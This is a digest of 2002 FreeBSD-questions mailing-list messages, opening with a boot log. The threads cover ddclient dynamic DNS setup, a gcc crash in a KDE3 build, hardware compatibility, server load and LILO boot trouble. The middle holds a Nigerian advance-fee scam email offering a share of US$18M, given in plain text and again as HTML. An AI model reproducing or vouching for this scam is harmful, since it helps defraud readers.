uhub0: SiS OHCI root hub, class 9/0, rev 1.00/1.00, addr 1
uhub0: 2 ports with 2 removable, self powered
pcib2: <PCI to PCI bridge (vendor=1039 device=0001)> at device 2.0 on pci0
pci1: <PCI bus> on pcib2
pci1: <SiS 530/620 SVGA controller> at 0.0 irq 11
vr0: <VIA VT3043 Rhine I 10/100BaseTX> port 0xa800-0xa87f mem 
0xde800000-0xde80007f irq 5 at device 10.0 on pci0
vr0: Ethernet address: 00:00:00:00:00:00
miibus0: <MII bus> on vr0
amphy0: <DM9101 10/100 media interface> on miibus0
amphy0:  10baseT, 10baseT-FDX, 100baseTX, 100baseTX-FDX, auto
pci0: <VGA-compatible display device> at 11.0 irq 10
pcib1: <SiS 5591 host to AGP bridge> on motherboard
pci2: <PCI bus> on pcib1
fdc0: <NEC 72065B or clone> at port 0x3f0-0x3f5,0x3f7 irq 6 drq 2 on isa0
fdc0: FIFO enabled, 8 bytes threshold
fd0: <1440-KB 3.5" drive> on fdc0 drive 0
atkbdc0: <Keyboard controller (i8042)> at port 0x60,0x64 on isa0
atkbd0: <AT Keyboard> flags 0x1 irq 1 on atkbdc0
kbd0 at atkbd0
psm0: <PS/2 Mouse> irq 12 on atkbdc0
psm0: model Generic PS/2 mouse, device ID 0
vga0: <Generic ISA VGA> at port 0x3c0-0x3df iomem 0xa0000-0xbffff on isa0
sc0: <System console> at flags 0x100 on isa0
sc0: VGA <16 virtual consoles, flags=0x300>
sio0 at port 0x3f8-0x3ff irq 4 flags 0x10 on isa0
sio0: type 16550A
sio1 at port 0x2f8-0x2ff irq 3 on isa0
sio1: type 16550A
ppc0: <Parallel port> at port 0x378-0x37f irq 7 on isa0
ppc0: Generic chipset (NIBBLE-only) in COMPATIBLE mode
plip0: <PLIP network interface> on ppbus0
lpt0: <Printer> on ppbus0
lpt0: Interrupt-driven port
ppi0: <Parallel I/O> on ppbus0
ad0: 3060MB <QUANTUM BIGFOOT_CY3240A> [6218/16/63] at ata0-master WDMA2
ad1: 260MB <ST3295A D> [761/14/50] at ata0-slave PIO3
acd0: CDROM <NEC CD-ROM DRIVE:273> at ata1-slave PIO3
Mounting root from ufs:/dev/ad0s1a









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From owner-freebsd-questions  Thu Aug  1 10:58:36 2002
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Date: Thu, 1 Aug 2002 13:58:24 -0400
From: Jeremy Faulkner <gldisater@gldis.ca>
To: David Hermida <arkaitz@telecable.es>
Cc: questions@freebsd.org
Subject: Re: people.freebsd.org
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On Thu, Aug 01, 2002 at 04:00:18PM +0200, David Hermida wrote:
> 
> hello. i'm a spanish user and i have a question.
> can i obtain a web account on people.freebsd.org? is free?
> thanks and greets :)
> david.

Accounts on the main freebsd.org servers are limited to commiters only. So the 
answer is, not without becoming a commiter.

-- 
Jeremy Faulkner			http://www.gldis.ca

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From owner-freebsd-questions  Thu Aug  1 11: 5:20 2002
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From the office of MR SEMION NELSON
Personal assistance to chief Ige
Office 114 senate building Ikeja Lagos



I'm offering you this business request, hoping you Will accept it with =
warmest heart. I am MR SEMION NELSON. The personal assistance to late
Attorney General of federation Bola Ige, former Minister for POWER AND =
STILL of States Of Nigeria who was brutally murdered by this Government =
late last year because of his interest to contest for the 2003
presidential Election. Before the death of Honorable Ige he had in mind =
of coming out for the presidential Election. And he had saved the money =
to make sure he concludes the entire plan towards the election.

This money was to be used for the completion of Abiokuta still =
industries Before his death. The most important issue is that I am the =
only person who Knows about it as his confidantes, and was among the =
signatories. the amount is (US$18M). Eighteen million Dollars.    It is
my wish with full trust that I am requesting you to assist me on how to =
secure this money that was deposited in the bank before his sudden
death. And get it transferred into your account as one of the people =
that supplied The materials used for the still industries but have not
been paid.

Once you respond, we will then incorporate your Establishment in Nigeria =
and prepare a suitable supply claim using an invoice sheet to show the
items supplied and their prices. These will be forwarded to my =
department where necessary approvals will be granted and then the money=20
Will be sent into your account direct.

                    SHARE:
 A.      30% for you (Account Owner)
 B.   70% for us, I & my two other colleagues
Please be informed that this project is assified sensitive. Therefore =
this transaction will be most confidential, urgent and treated as a
matter of trust.=20

I have all necessary legal documents that can be used to back up any =
claim we may make. All I require is your honest cooperation to enable us =
seeing this deal through. I guarantee that this will be executed under a =
legitimate arrangement that will protect you from any breach of the =
law.I wish to hear from to give you more detail.

Best REGARDS
=20
MR SEMION NELSON









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<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>From the office of MR SEMION =
NELSON<BR>Personal=20
assistance to chief Ige<BR>Office 114 senate building Ikeja =
Lagos</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>I'm offering you this business request, =
hoping you=20
Will accept it with warmest heart. I am MR SEMION NELSON. The personal=20
assistance to late<BR>Attorney General of federation Bola Ige, former =
Minister=20
for POWER AND STILL of States Of Nigeria who was brutally murdered by =
this=20
Government late last year because of his interest to contest for the=20
2003<BR>presidential Election. Before the death of Honorable Ige he had =
in mind=20
of coming out for the presidential Election. And he had saved the money =
to make=20
sure he concludes the entire plan towards the election.</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>This money was to be used for the =
completion of=20
Abiokuta still industries Before his death. The most important issue is =
that I=20
am the only person who Knows about it as his confidantes, and was among =
the=20
signatories. the amount is (US$18M). Eighteen million =
Dollars.&nbsp;&nbsp;&nbsp;=20
It is<BR>my wish with full trust that I am requesting you to assist me =
on how to=20
secure this money that was deposited in the bank before his =
sudden<BR>death. And=20
get it transferred into your account as one of the people that supplied =
The=20
materials used for the still industries but have not<BR>been =
paid.</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Once you respond, we will then =
incorporate your=20
Establishment in Nigeria and prepare a suitable supply claim using an =
invoice=20
sheet to show the<BR>items supplied and their prices. These will be =
forwarded to=20
my department where necessary approvals will be granted and then the =
money=20
<BR>Will be sent into your account direct.</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial=20
size=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
SHARE:<BR>&nbsp;A.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 30% for you (Account=20
Owner)<BR>&nbsp;B.&nbsp;&nbsp; 70% for us, I &amp; my two other=20
colleagues<BR>Please be informed that this project is assified =
sensitive.=20
Therefore this transaction will be most confidential, urgent and treated =
as=20
a<BR>matter of trust. </FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>I have all necessary legal documents =
that can be=20
used to back up any claim we may make. All I require is your honest =
cooperation=20
to enable us seeing this deal through. I guarantee that this will be =
executed=20
under a legitimate arrangement that will protect you from any breach of =
the=20
law.I wish to hear from to give you more detail.</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Best REGARDS<BR>&nbsp;<BR>MR SEMION=20
NELSON</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV></BODY></HTML>

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From owner-freebsd-questions  Thu Aug  1 11: 5:47 2002
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Date: Thu, 01 Aug 2002 20:06:30 +0200
From: Jens Rehsack <rehsack@liwing.de>
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Ben Williams wrote:
> 
> [ Please CC me directly ]
> 
> Approximately 36 hours after starting a `make install` in
> /usr/ports/x11/kde3 I got this:
> 
> --------------------begin screen paste--------------------
> c++ -DHAVE_CONFIG_H -I. -I. -I../.. -I../../libkdegames -I../../libkdegames/kgame -I/usr/local/include -I/usr/X11R6/include   -DSRCD
> IR="\"/usr/ports/games/kdegames3/work/kdegames-3.0.2/kwin4/kwin4\""  -DNDEBUG -DNO_DEBUG -O2 -O3 -pipe -fno-exceptions -fno-check-ne
> w -DQT_CLEAN_NAMESPACE -DQT_NO_COMPAT -DQT_NO_ASCII_CAST  -c -o kwin4doc.o `test -f kwin4doc.cpp || echo './'`kwin4doc.cpp
> kwin4doc.cpp: In method `class Kwin4Player * Kwin4Doc::getPlayer(FARBE)':
> kwin4doc.cpp:1210: Internal compiler error.
> kwin4doc.cpp:1210: Please submit a full bug report.
> kwin4doc.cpp:1210: See <URL:http://www.gnu.org/software/gcc/bugs.html> for instructions.
> gmake[3]: *** [kwin4doc.o] Error 1
> gmake[3]: Leaving directory `/usr/ports/games/kdegames3/work/kdegames-3.0.2/kwin4/kwin4'
> gmake[2]: *** [all-recursive] Error 1
> gmake[2]: Leaving directory `/usr/ports/games/kdegames3/work/kdegames-3.0.2/kwin4'
> gmake[1]: *** [all-recursive] Error 1
> gmake[1]: Leaving directory `/usr/ports/games/kdegames3/work/kdegames-3.0.2'
> gmake: *** [all] Error 2
> *** Error code 2
> 
> Stop in /usr/ports/games/kdegames3.
> *** Error code 1
> 
> Stop in /usr/ports/x11/kde3.
> [root@loathing] /usr/ports/x11/kde3#
> ---------------------end screen paste---------------------
> 
> I don't know enough about c++ or makefiles to be able to follow the
> directions at http://www.gnu.org/software/gcc/bugs.html. I edited
> kwin4 out of the kdegames3 makefile and the build has gone another 12
> hours into KOffice and it's still chugging right along.
> 
> 1. Can someone explain to me how to submit the bug report to the gcc
> guys?

Ever read http://www.gnu.org/software/gcc/bugs.html ? No? Start there!
Yes? What you didn't understand?

> 2. Is it normal on a 384MB, 350mhz computer for a kde3 metaport build
> to take more than 2 days?

350MHz of what? K6? PII? Dec Alpha? PPC? Rx000? ???

Jens

> Thanks,
> --
> Ben.
> 
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-questions" in the body of the message

-- 
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From owner-freebsd-questions  Thu Aug  1 11: 9:55 2002
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Date: Thu, 1 Aug 2002 14:09:50 -0400 (EDT)
From: Chris Denault <chris@pemaquid.safeport.com>
To: freebsd-questions@FreeBSD.org
Subject: SIIG AP-40 pci adapter
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I have an SIIG AP-40 pci adapter, and i was wondering if anyone can tell
me if this card is compatible with freebsd 4.6.  If it is, can anyone tell
me how to turn on support for it in the kernel?  Thanks in advance for any
help.

-Chris Denault


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From owner-freebsd-questions  Thu Aug  1 11:13:46 2002
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Subject: RE: SIIG AP-40 pci adapter
Date: Thu, 1 Aug 2002 14:13:42 -0400
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I have one in a 4.3 box, works just fine.  I don't recall having to do
anything special during setup to turn on it on.

---Marius

> -----Original Message-----
> From: owner-freebsd-questions@FreeBSD.ORG [mailto:owner-freebsd-
> questions@FreeBSD.ORG] On Behalf Of Chris Denault
> Sent: Thursday, August 01, 2002 2:10 PM
> To: freebsd-questions@FreeBSD.ORG
> Subject: SIIG AP-40 pci adapter
> 
> I have an SIIG AP-40 pci adapter, and i was wondering if anyone can
tell
> me if this card is compatible with freebsd 4.6.  If it is, can anyone
tell
> me how to turn on support for it in the kernel?  Thanks in advance for
any
> help.
> 
> -Chris Denault
> 
> 
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-questions" in the body of the message



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From owner-freebsd-questions  Thu Aug  1 11:18: 0 2002
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Subject: Re: Dynamic DNS issues
From: Stacey Roberts <stacey@Demon.vickiandstacey.com>
Reply-To: sroberts@dsl.pipex.com
To: Jason P Holland <jholland@cs.selu.edu>
Cc: Ken <ken@carnahan.ws>, questions@FreeBSD.ORG
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Hi Jason,
   I also use ddclient here with my ADSL connected FBSD gateway,
however, I use ZoneEdit.com's dynamic DNS services.

I'm not sure that ddclient is actually working alright, to be honest. I
installed it yesterday which placed this ddclient.cache log:

# cat ddclient.cache
## ddclient-3.6.2
## last updated at Wed Jul 31 18:13:06 2002 (1028135586)
atime=1028135586,host=<hostname>,ip=<extIP>,mtime=1028135586,status=good,warned-min-error-interval=0,warned-min-interval=0,wtime=0 <my.domain.com>
#

Since then, however, the box rebooted due to an unplanned power-outage
and no logs whatsoever appear to have been produced on boot-up. Like I
said, I'm not sure what *is* supposed to happen in that case, but I
would have thought that on boot-up, ddclient would have attempted to
verify the external IP address soon after the box came up.

I use the SMC 7401BRA Barricade ADSL Router, which doesn't appear to be
supported (at least by model) so I went with the "check against web url"
option. Here's what my ddclient.conf looks like:

# more ddclient.conf
######################################################################
## 
## Define default global variables with lines like:
##      var=value [, var=value]*
## These values will be used for each following host unless overridden
## with a local variable definition.
##
## Define local variables for one or more hosts with:
##      var=value [, var=value]* host.and.domain[,host2.and.domain...]
##
## Lines can be continued on the following line by ending the line
## with a \
##
######################################################################
daemon=300                                      # check every 300
seconds
syslog=yes                                      # log update msgs to
syslog
mail=root                                       # mail update msgs to
root
pid=/var/run/ddclient.pid                       # record PID in file.
#
#use=watchguard-soho,        fw=192.168.111.1:80        # via
Watchguard's SOHO FW
#use=netopia-r910,           fw=192.168.111.1:80        # via Netopia
R910 FW
#use=smc-barricade,          fw=192.168.123.254:80      # via SMC's
Barricade FW#use=netgear-rt3xx,          fw=192.168.0.1:80          #
via Netgear's internet FW
#use=linksys,                fw=192.168.1.1:80          # via Linksys's
internet FW
#use=maxgate-ugate3x00,      fw=192.168.0.1:80          # via MaxGate's
UGATE-3x00  FW
#use=elsa-lancom-dsl10,      fw=10.0.0.254:80           # via ELSA
LanCom DSL/10 DSL Router
#use=elsa-lancom-dsl10-ch01, fw=10.0.0.254:80           # via ELSA
LanCom DSL/10 DSL Router
#use=elsa-lancom-dsl10-ch02, fw=10.0.0.254:80           # via ELSA
LanCom DSL/10 DSL Router
#use=alcatel-stp,            fw=10.0.0.138:80           # via Alcatel
Speed Touch Pro
#use=xsense-aero,            fw=192.168.1.1:80          # via Xsense
Aero Router#fw-login=admin,             fw-password=XXXXXX         # FW
login and password
#
## To obtain an IP address from FW status page (using fw-login,
fw-password)
#use=fw, fw=192.168.1.254/status.htm, fw-skip='IP Address' # found after
IP Address
#
## To obtain an IP address from Web status page (using the proxy if
defined)
use=web, web=checkip.dyndns.org/, web-skip='IP Address' # found after IP
Address#
#use=ip,                     ip=127.0.0.1       # via static IP's
#use=if,                     if=eth0            # via interfaces
use=web                                 # via web
#
#protocol=dyndns2                               # default protocol
#proxy=fasthttp.sympatico.ca:80                 # default proxy
#server=members.dyndns.org                      # default server
#server=members.dyndns.org:8245                 # default server
(bypassing proxies)

#login=your-login                               # default login
#password=test                                  # default password
#mx=mx.for.your.host                            # default MX
#backupmx=yes|no                                # host is primary MX?
#wildcard=yes|no                                # add wildcard CNAME?

##
## dyndns.org dynamic addresses
##
## (supports variables: wildcard,mx,backupmx)
##
# server=members.dyndns.org,            \
# protocol=dyndns2                      \
# your-dynamic-host.dyndns.org

##
## dyndns.org static addresses
##
## (supports variables: wildcard,mx,backupmx)
##
# static=yes                            \
# server=members.dyndns.org,            \
# protocol=dyndns2                      \
# your-static-host.dyndns.org

##
##
## dyndns.org custom addresses
##
## (supports variables: wildcard,mx,backupmx)
##
# custom=yes                            \
# server=members.dyndns.org,            \
# protocol=dyndns2                      \
# your-domain.top-level,your-other-domain.top-level

##
## ZoneEdit (zoneedit.com)
##
 server=www.zoneedit.com,               \
 protocol=zoneedit1,                    \
 login=<snip>                \
 password=<snip>  \
 <my.domain.com>

##
## EasyDNS (easydns.com)
##
# server=members.easydns.com,           \
# protocol=easydns,                     \
# login=your-easydns-login,             \
# password=your-easydns-password        \
# your.any.domain,your-2nd.any.domain

##
## Hammernode (hn.org) dynamic addresses
##
# server=dup.hn.org,                    \
# protocol=hammernode1,                 \
# login=your-hn-login,                  \
# password=your-hn-password             \
# your-hn-host.hn.org,your-2nd-hn-host.hn.org

##
## dslreports.com dynamic-host monitoring
##
# server=members.dslreports.com         \
# protocol=dslreports1,                 \
# login=dslreports-login,               \
# password=dslreports-password          \
# dslreports-unique-id
#

I'd *really* appreciate your (and any other ddclient users') thoughts on
my configs and what I can expect from running ddclient.

Thanks for the time.

Stacey


On Thu, 2002-08-01 at 18:49, Jason P Holland wrote:
> 
> Ken,
>   if you go to dyndns.org, they have multiple clients to choose from that
> can run on your freebsd system and poll the router for an external ip
> address.  it is very likely your router is supported as dlink is a popular
> brand.  here is the link for unix/linux clients
> 
> http://clients.dyndns.org/unix.php?service=custom
> 
> i use ddclient at home with a linksys router, it works wonderfully, and 
> was easy to setup.  these of course, work with the dyndns service, but 
> i'm sure others can be found, or these can be modified to suit your 
> needs.  hope this helps
> 
> jason
> 
> 
> > Hello all,
> > 
> > I have a DSL connection (Dynamic IP) that feeds my DLINK wireless
> > router/firewall. I have my Freebsd box hardwired to the router and then I
> > have a laptop and a windows box using wireless nics. Everything works great!
> > Now I want to allow access to my web and ftp server on the Bsd box. I have
> > my own domain name already and can use one of the dynamic dns hosting
> > services. But how can I (automatically  of course), update my dynamic dns? I
> > am unsure how to pull the wan ip from the router. The router is passing all
> > requests on port 80 to my bsd box. But I need to find out my wan  ip to
> > update the dns. I would like to maybe run a shell script or something get
> > the wan ip and then update the dns. I have a script ot do the actual update,
> > but any ideas on how to pull the wan ip? All I keep getting back is the lan
> > ip (192.168.0.1)
> > 
> > Any thoughts or ideas from anybody ? This wouldn't be so bad but it seems
> > that the dynamic ip is changed at odd intervals and pretty often. So it
> > makes it a real pain to keep up with it manually.
> > 
> > 
> > Thanks
> > 
> > 
> > Ken
> > 
> > 
> > 
> > 
> > To Unsubscribe: send mail to majordomo@FreeBSD.org
> > with "unsubscribe freebsd-questions" in the body of the message
> > 
> 
> 
> To Unsubscribe: send mail to majordomo@FreeBSD.org
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> Ever read http://www.gnu.org/software/gcc/bugs.html ? No? Start there!
> Yes? What you didn't understand?

Yes. I did! Yes. I don't understand how to reproduce the error
manually and it seems that would be required to add flags -v
-save-temps for the source file in question...

A slightly less condescending tone would be appreciated too.

>> 2. Is it normal on a 384MB, 350mhz computer for a kde3 metaport build
>> to take more than 2 days?

> 350MHz of what? K6? PII? Dec Alpha? PPC? Rx000? ???

AMD K6/2


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On Wed, 31 Jul 2002 15:44:08 -0400 (EDT), you wrote:

>In the XF86Config file for the external monitor or TV make sure that
>
>#   Option     "externDisp"
>
>in the "Device" section is uncommented. I can't remember the details, this 
>was quite a while (and several XF86Configs) ago. Can you at least get a 
>terminal on the television and try to startx from there?

Looks like I'll have to swap the video cards over then.  So far, the only
(semi) confirmed sightings/experience of X on a TV seems to be with an ATI
card.  Thanks for the pointers.

Dave

-- 
Sig abducted by aliens


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From owner-freebsd-questions  Thu Aug  1 12:13: 8 2002
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From: Jason P Holland <jholland@cs.selu.edu>
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Hi Stacey,

> Hi Jason,
>    I also use ddclient here with my ADSL connected FBSD gateway,
> however, I use ZoneEdit.com's dynamic DNS services.
> 
> I'm not sure that ddclient is actually working alright, to be honest. I
> installed it yesterday which placed this ddclient.cache log:
> 
> # cat ddclient.cache
> ## ddclient-3.6.2
> ## last updated at Wed Jul 31 18:13:06 2002 (1028135586)
> atime=1028135586,host=<hostname>,ip=<extIP>,mtime=1028135586,status=good,warned-min-error-interval=0,warned-min-interval=0,wtime=0 <my.domain.com>
> #
> 
> Since then, however, the box rebooted due to an unplanned power-outage
> and no logs whatsoever appear to have been produced on boot-up. Like I
> said, I'm not sure what *is* supposed to happen in that case, but I
> would have thought that on boot-up, ddclient would have attempted to
> verify the external IP address soon after the box came up.
> 

it should have, if you have the rc script in place to kick the daemon off 
at startup.  do you?

> I use the SMC 7401BRA Barricade ADSL Router, which doesn't appear to be
> supported (at least by model) so I went with the "check against web url"
> option. Here's what my ddclient.conf looks like:
> 
> # more ddclient.conf
> ######################################################################
> ## 
> ## Define default global variables with lines like:
> ##      var=value [, var=value]*
> ## These values will be used for each following host unless overridden
> ## with a local variable definition.
> ##
> ## Define local variables for one or more hosts with:
> ##      var=value [, var=value]* host.and.domain[,host2.and.domain...]
> ##
> ## Lines can be continued on the following line by ending the line
> ## with a \
> ##
> ######################################################################
> daemon=300                                      # check every 300
> seconds
> syslog=yes                                      # log update msgs to
> syslog
> mail=root                                       # mail update msgs to
> root
> pid=/var/run/ddclient.pid                       # record PID in file.
> #
> #use=watchguard-soho,        fw=192.168.111.1:80        # via
> Watchguard's SOHO FW
> #use=netopia-r910,           fw=192.168.111.1:80        # via Netopia
> R910 FW
> #use=smc-barricade,          fw=192.168.123.254:80      # via SMC's
> Barricade FW#use=netgear-rt3xx,          fw=192.168.0.1:80          #
> via Netgear's internet FW
> #use=linksys,                fw=192.168.1.1:80          # via Linksys's
> internet FW
> #use=maxgate-ugate3x00,      fw=192.168.0.1:80          # via MaxGate's
> UGATE-3x00  FW
> #use=elsa-lancom-dsl10,      fw=10.0.0.254:80           # via ELSA
> LanCom DSL/10 DSL Router
> #use=elsa-lancom-dsl10-ch01, fw=10.0.0.254:80           # via ELSA
> LanCom DSL/10 DSL Router
> #use=elsa-lancom-dsl10-ch02, fw=10.0.0.254:80           # via ELSA
> LanCom DSL/10 DSL Router
> #use=alcatel-stp,            fw=10.0.0.138:80           # via Alcatel
> Speed Touch Pro
> #use=xsense-aero,            fw=192.168.1.1:80          # via Xsense
> Aero Router#fw-login=admin,             fw-password=XXXXXX         # FW
> login and password
> #
> ## To obtain an IP address from FW status page (using fw-login,
> fw-password)
> #use=fw, fw=192.168.1.254/status.htm, fw-skip='IP Address' # found after
> IP Address
> #
> ## To obtain an IP address from Web status page (using the proxy if
> defined)
> use=web, web=checkip.dyndns.org/, web-skip='IP Address' # found after IP
> Address#
> #use=ip,                     ip=127.0.0.1       # via static IP's
> #use=if,                     if=eth0            # via interfaces
> use=web                                 # via web
> #
> #protocol=dyndns2                               # default protocol
> #proxy=fasthttp.sympatico.ca:80                 # default proxy
> #server=members.dyndns.org                      # default server
> #server=members.dyndns.org:8245                 # default server
> (bypassing proxies)
> 
> #login=your-login                               # default login
> #password=test                                  # default password
> #mx=mx.for.your.host                            # default MX
> #backupmx=yes|no                                # host is primary MX?
> #wildcard=yes|no                                # add wildcard CNAME?
> 
> ##
> ## dyndns.org dynamic addresses
> ##
> ## (supports variables: wildcard,mx,backupmx)
> ##
> # server=members.dyndns.org,            \
> # protocol=dyndns2                      \
> # your-dynamic-host.dyndns.org
> 
> ##
> ## dyndns.org static addresses
> ##
> ## (supports variables: wildcard,mx,backupmx)
> ##
> # static=yes                            \
> # server=members.dyndns.org,            \
> # protocol=dyndns2                      \
> # your-static-host.dyndns.org
> 
> ##
> ##
> ## dyndns.org custom addresses
> ##
> ## (supports variables: wildcard,mx,backupmx)
> ##
> # custom=yes                            \
> # server=members.dyndns.org,            \
> # protocol=dyndns2                      \
> # your-domain.top-level,your-other-domain.top-level
> 
> ##
> ## ZoneEdit (zoneedit.com)
> ##
>  server=www.zoneedit.com,               \
>  protocol=zoneedit1,                    \
>  login=<snip>                \
>  password=<snip>  \
>  <my.domain.com>
> 
> ##
> ## EasyDNS (easydns.com)
> ##
> # server=members.easydns.com,           \
> # protocol=easydns,                     \
> # login=your-easydns-login,             \
> # password=your-easydns-password        \
> # your.any.domain,your-2nd.any.domain
> 
> ##
> ## Hammernode (hn.org) dynamic addresses
> ##
> # server=dup.hn.org,                    \
> # protocol=hammernode1,                 \
> # login=your-hn-login,                  \
> # password=your-hn-password             \
> # your-hn-host.hn.org,your-2nd-hn-host.hn.org
> 
> ##
> ## dslreports.com dynamic-host monitoring
> ##
> # server=members.dslreports.com         \
> # protocol=dslreports1,                 \
> # login=dslreports-login,               \
> # password=dslreports-password          \
> # dslreports-unique-id
> #
> 
> I'd *really* appreciate your (and any other ddclient users') thoughts on
> my configs and what I can expect from running ddclient.
> 
> Thanks for the time.
> 
> Stacey
>

have you tried debug mode?

$ ddclient -daemon=0 -debug -verbose -noquiet

try that and see if you can even connect to the router.  that will 
hopefully give you a starting point to troubleshoot.

jason




 
> 
> On Thu, 2002-08-01 at 18:49, Jason P Holland wrote:
> > 
> > Ken,
> >   if you go to dyndns.org, they have multiple clients to choose from that
> > can run on your freebsd system and poll the router for an external ip
> > address.  it is very likely your router is supported as dlink is a popular
> > brand.  here is the link for unix/linux clients
> > 
> > http://clients.dyndns.org/unix.php?service=custom
> > 
> > i use ddclient at home with a linksys router, it works wonderfully, and 
> > was easy to setup.  these of course, work with the dyndns service, but 
> > i'm sure others can be found, or these can be modified to suit your 
> > needs.  hope this helps
> > 
> > jason
> > 
> > 
> > > Hello all,
> > > 
> > > I have a DSL connection (Dynamic IP) that feeds my DLINK wireless
> > > router/firewall. I have my Freebsd box hardwired to the router and then I
> > > have a laptop and a windows box using wireless nics. Everything works great!
> > > Now I want to allow access to my web and ftp server on the Bsd box. I have
> > > my own domain name already and can use one of the dynamic dns hosting
> > > services. But how can I (automatically  of course), update my dynamic dns? I
> > > am unsure how to pull the wan ip from the router. The router is passing all
> > > requests on port 80 to my bsd box. But I need to find out my wan  ip to
> > > update the dns. I would like to maybe run a shell script or something get
> > > the wan ip and then update the dns. I have a script ot do the actual update,
> > > but any ideas on how to pull the wan ip? All I keep getting back is the lan
> > > ip (192.168.0.1)
> > > 
> > > Any thoughts or ideas from anybody ? This wouldn't be so bad but it seems
> > > that the dynamic ip is changed at odd intervals and pretty often. So it
> > > makes it a real pain to keep up with it manually.
> > > 
> > > 
> > > Thanks
> > > 
> > > 
> > > Ken
> > > 
> > > 
> > > 
> > > 
> > > To Unsubscribe: send mail to majordomo@FreeBSD.org
> > > with "unsubscribe freebsd-questions" in the body of the message
> > > 
> > 
> > 
> > To Unsubscribe: send mail to majordomo@FreeBSD.org
> > with "unsubscribe freebsd-questions" in the body of the message
> 
> 
> 
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-questions" in the body of the message
> 


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From owner-freebsd-questions  Thu Aug  1 12:17:19 2002
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On Thu, 1 Aug 2002 lists@brenius.com wrote:

> 12:26PM  up 124 days,  6:47, 2 users, load averages: 12.31, 12.66, 12.17
>
> Usually around 0.20- 0.30 load average...
>
> last pid: 53735;  load averages: 13.83, 13.01, 12.33
> up 124+06:48:28 12:27:22
> 94 processes:  16 running, 78 sleeping
> CPU states: 27.2% user,  0.0% nice, 72.4% system,  0.4% interrupt,  0.0% idle
> Mem: 324M Active, 63M Inact, 89M Wired, 23M Cache, 61M Buf, 992K Free
> Swap: 720M Total, 176M Used, 544M Free, 24% Inuse
>
>   PID USERNAME     PRI NICE  SIZE    RES STATE    TIME   WCPU    CPU COMMAND
> 42591 nobody        61   0  5732K  3728K RUN      3:16  7.18%  7.18% httpd
> 47033 nobody        60   0  5720K  3720K RUN      3:15  7.03%  7.03% httpd
> 47750 nobody        60   0  5612K  3600K RUN      3:17  6.98%  6.98% httpd
> 47736 nobody        60   0  5720K  3716K RUN      3:17  6.79%  6.79% httpd
> 47749 nobody        59   0  5720K  3716K RUN      3:16  6.79%  6.79% httpd
> 49201 username        59   0 19204K 13412K RUN      3:23  6.54%  6.54% procmail
> 47755 nobody        59   0  5600K  3572K RUN      3:17  6.54%  6.54% httpd
> 47035 nobody        58   0  5720K  3716K RUN      3:15  6.49%  6.49% httpd
> 49166 nobody        59   0  5600K  3532K RUN      3:16  6.40%  6.40% httpd
> 47563 nobody        58   0  5720K  3724K RUN      3:17  6.10%  6.10% httpd
>
> How can I troubleshoot this and track down the culprit. It has been at
> this for the last 10 minutes and is really slowing down the server.
> Please help!

I'm getting the same thing with my Slash installation every day about 2
o'clock in the morning.  Except for me it is a perl process that is
wreaking havoc, swallowing all the swap then getting killed off by the
OS.

The only workaround I've done so far is a script to check that at least
one perl is running and to restart the service if it dies.  Of course
the sensible think to do would be to take the probelm to
www.slashcode.com, and I may yet do that.

As for you, are you doing anything funny with your webserver?  I used to
et this when I ran mod_jk.  You might have to just restart apache.

Bill.


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From owner-freebsd-questions  Thu Aug  1 12:50:40 2002
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Hi John,

please for the sake of the archives let the list cc'ed so that people
searching there will be able to see what steps you actually did and
which was the clue to your problem.

> > Other things to check: Where did you tell Mandrake to install it's
lilo?
> > If it's a Linux only disk, the correct place would be the MBR. If
you've
> > chosen to install it in a partition, look if this one is set active
> > (i.e. bootable).

>     Thank you for your detailed and carefully thought out email. Yes,
I
> told Mandrake to intall lilo in the MBR (/dev/hda).
>
> > If your computer's BIOS is quite old, the 1024 cylinder problem
could
> > touch you (that is not a 1Gig border). Depending on your BIOS and
> > mapping of your disk, this can be any value from 512MB (on old BIOS
> > without EIDE support) to 8GB (1024 cylinders with a single cylinder
set
> > to the maximum value).
> ---------------------------------
> I see, I didn't know that. However I don't think this is my problem;
> when I posted my first email I had a small (approx 60 MB, way under
even
> the 512 MB limit) first partition, mounted as /boot.
>
>   After hearing about "fdisk /mbr", I wiped my drive, made a FAT
> partition, booted from a DOS floppy, and ran fdisk /mbr. I then
> reinstalled Mandrake 8.2, this time with a 256 MB root (/) partition
as
> the first partition on the drive, and again with LILO installed to the
> MBR. I was still unable to boot from the hard drive, though I can boot
> from the boot floppy I created during the install (as well as from the
> CDROM).
>
> > If you are able to boot from the Linux-CD, go there into a console,
> > write down all the settings fdisk shows about your partition layout,
do
> > the "dd" steps mentioned in the other thread, redo fdisk with
exactly
> > the same values you wrote down before, make sure you have the
correct
> > partition active, check your /etc/lilo.conf to install lilo in the
MBR
> > (i.e. /dev/hda not /dev/hda1) and start /sbin/lilo once again.
> --------------------------------
>   I'll try this out today. One thing I'm not clear about - the
reference
> to making the correct partition active. Is that something set up in
the
> PC's BIOS, or in /etc/lilo.conf?  I let the Mandrake installer setup
> LILO automatically - this has proved reliable for me in the past, as
> I've installed Mandrake 8.2 on several PC's without trouble.

